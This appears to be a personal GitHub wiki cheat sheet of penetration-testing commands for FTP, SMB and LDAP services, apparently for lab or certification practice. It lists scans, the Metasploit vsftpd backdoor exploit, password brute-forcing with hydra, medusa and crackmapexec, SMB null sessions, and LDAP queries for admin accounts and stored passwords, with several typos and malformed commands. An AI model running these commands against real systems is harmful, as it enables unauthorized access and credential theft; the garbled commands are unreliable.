Services Hacking - singirikondamani/Noted GitHub Wiki
- Start doing the nmap scan to the FTP port -
nmap -sV -sC T4 -p 21 0.0.0.0
- Identify the version of the FTP server and any critical information can be useful for further enumeration.
- Strat the metasploit - Run
msfconsole -q
- search for the ftp exploit module
search vsftpd
- Use the module by
use exploit/unix/ftp/vsftp_234_backdoor
- Set the RHOST, RPORT and run the
exploit
- Use hydra:
hydra -L username.txt -P password.txt 0.0.0.0 ftp
OR - Use medusa:
medusa -u fiona -P /usr/share/wordlists/rockyou.txt -h 10.129.203.7 -M ftp
- ftp 0.0.0.0 (if the Anonymous Authentication enable then able to login)
- netcat 0.0.0.0 21
- telnet 0.0.0.0 21
- openssl s_client -connect 10.129.14.136:21 -starttls ftp
wget -m --no-passive ftp://anonymous:[email protected]/
- Start with nmap scan-
sudo nmap 10.129.14.128 -sV -sC -p139,445
- Check for null session -
smbclient -N -L //<FQDN/IP>
- Connect to specific shared file -
smbclient //<FQDN/IP>/<share>
- Interaction with the target using RPC-
rpcclient -U "" <FQDN/IP>
- Username enumeration using Impacket scripts-
samrdump.py <FQDN/IP>
- SMBMAP is used for enumerating SMB shares and permissions, not for cracking usernames or passwords-
smbmap -H <FQDN/IP>
- enum4linux-ng.py only gathers and enumerates information from the target system; it does not automatically interact with SMB in terms of performing any actions like writing, uploading, or modifying files -
enum4linux-ng.py <FQDN/IP> -A
- Burt Force the username or password
crackmapexec smb 10.10.110.17 -u /tmp/userlist.txt -p 'Company01!' --local-auth
hydra -L users.txt -P passwords.txt smb://192.168.1.10
- Step: ldapsearch tool is default installed on the parrot OS
- Step: To identify the base Run→ Sudo su → ldapsearch -h
-
Get All Information from the Directory: (Version also available in same output) →
ldapsearch -x -h 0.0.0.0 -b "DC=CEHORG,DC=COM" "(objectClass=*)"
-
List the users:
ldapsearch etc/openldap/ldap.config
-
Get the list of users: →
run ldapsearch -h → ldapsearch -x -h 0.0.0.0 -b "DC=CEHORG,D=COM" "objectclass=Users"
-
Get Details of a Specific User: →
ldapsearch -x -h 0.0.0.0 -b "DC=CEHORG,DC=COM" "(sAMAccountName=johndoe)"
-
Retrieve Specific Attributes for a User: →
ldapsearch -x -h 0.0.0.0 -b "DC=CEHORG,DC=COM" "(sAMAccountName=johndoe)" cn mail memberOf
- **Retrieve Administrative Accounts:**→
ldapsearch -x -h <ldap_server> -b "DC=CEHORG,DC=COM" "(memberOf=CN=Domain Admins,CN=Users,DC=CEHORG,DC=COM)"
-
List All Users and Their Password Attributes: →
ldapsearch -x -h <ldap_server> -b "DC=CEHORG,DC=COM" "(objectClass=user)" sAMAccountName userPassword
- **Retrieve User Passwords (If Available)**→
ldapsearch -x -h <ldap_server> -b "DC=CEHORG,DC=COM" "(sAMAccountName=johndoe)" userPassword
Remaining things: aLL SERVICE ENUM